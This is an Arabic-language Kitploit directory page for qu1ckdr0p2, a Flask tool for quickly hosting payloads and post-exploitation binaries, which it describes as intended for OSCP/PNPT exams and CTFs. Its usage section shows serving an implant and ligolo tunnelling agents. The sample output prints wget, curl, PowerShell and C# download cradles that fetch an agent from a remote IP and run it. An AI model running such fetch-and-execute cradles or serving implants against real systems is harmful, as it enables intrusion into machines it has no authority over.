Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/byinarie/qu1ckdr0p2
توليد الحمولةما بعد الاستغلالأمن الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubbyinarie/qu1ckdr0p2

qu1ckdr0p2

قم بتقديم الملفات بسرعة عبر http أو https باستخدام flask.

عرض المستودع
3553منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Python Flask Visual Studio Code Prettier License: MIT

حول

استضافة سريعة للحمولات (payloads) والملفات الثنائية بعد الاستغلال (post-exploitation bins) عبر HTTP أو HTTPS.

صُمم لاستخدامه في اختبارات مثل OSCP / PNPT أو تحديات CTFs مثل HTB / إلخ.

طُلب السحب (Pull requests) وقضايا (issues) مرحب بها. كما أن أي مساهمات مرحب بها.

يأتي qu1ckdr0p2 مع ميزة الاسم المستعار والبحث (alias and search feature). توجد الأدوات في مستودع qu1ckdr0p2-tools. افتراضياً يقوم بإنشاء شهادة موقعة ذاتياً (self-signed certificate) لاستخدامها عند استخدام خيار --https، كما تُعطى الأولوية لواجهة tun0 عندما يعمل خادم الويب، وإلا سيستخدم eth0.

يُعرّف ملف common.ini الأسماء المستعارة المعيّنة (mapped aliases) المستخدمة ضمن الخيارات --search و -u.

عندما يعمل خادم الويب، تُطبع عدة قوالب تنزيل (download cradles) على الشاشة لنسخها ولصقها.

ملاحظة

عند نسخ ولصق قالب تنزيل، اعتماداً على محرر الطرفية (terminal emulator) الذي تستخدمه، قد تحتاج إلى الضغط بسرعة ثلاث مرات أو نقرتين على قالب التنزيل لتظليله للنسخ. سيتم إصلاح هذا في إصدار لاحق.

التثبيت

استخدام pip هو الطريقة الوحيدة المدعومة للتثبيت

استنساخ هذا المستودع للتثبيت ربما سيكسر شيئاً

root@kitploit:~
pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

أو

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

الاستخدام

خدمة ملف واحد موجود في مجلد عملك الحالي

root@kitploit:~
$ serv serve -f implant.bin --https 443
root@kitploit:~
$ serv serve -f file.example --http 8080

التحديث والمساعدة

root@kitploit:~
$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.

Options:
  --debug  Enable debug mode.
  --help   Show this message and exit.

Commands:
  init   Perform updates.
  serve  Serve files.
root@kitploit:~
$ serv serve --help
Usage: serv serve [OPTIONS]

  Serve files.

Options:
  -l, --list         List aliases
  -s, --search TEXT  Search query for aliases
  -u, --use INTEGER  Use an alias by a dynamic number
  -f, --file FILE    Serve a file
  --http INTEGER     Use HTTP with a custom port
  --https INTEGER    Use HTTPS with a custom port
  -h, --help         Show this message and exit.
root@kitploit:~
$ serv init --help       
Usage: serv init [OPTIONS]

  Perform updates.

Options:
  --update            Check and download missing tools.
  --update-self       Update the tool using pip.
  --update-self-test  Used for dev testing, installs unstable build.
  --help              Show this message and exit.
root@kitploit:~
$ serv init --update
root@kitploit:~
$ serv init --update-self

خدمة ملف من اسم مستعار معيّن

أرقام الأسماء المستعارة المُعيّنة لخيار -u ديناميكية، لذا لا تحتاج إلى تذكر أرقام محددة أو كتابة اسم أداة كامل.

root@kitploit:~
$ serv serve --search ligolo               

[→] المسار: ~/.qu1ckdr0p2/windows/agent.exe
[→] الاسم المستعار: ligolo_agent_win
[→] الاستخدام: 1

[→] المسار: ~/.qu1ckdr0p2/windows/proxy.exe
[→] الاسم المستعار: ligolo_proxy_win
[→] الاستخدام: 2

[→] المسار: ~/.qu1ckdr0p2/linux/agent
[→] الاسم المستعار: ligolo_agent_linux
[→] الاستخدام: 3

[→] المسار: ~/.qu1ckdr0p2/linux/proxy
[→] الاسم المستعار: ligolo_proxy_linux
[→] الاستخدام: 4
(...)
root@kitploit:~
$ serv serve --search ligolo -u 3 --http 80

[→] الخدمة: ../../.qu1ckdr0p2/linux/agent
[→] البروتوكول: http
[→] عنوان IP: 192.168.1.5
[→] المنفذ: 80
[→] الواجهة: eth0
[→] CTRL+C للإنهاء

[→] الرابط: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ خادم الويب قيد التشغيل

الترخيص

MIT

تنزيل الأداة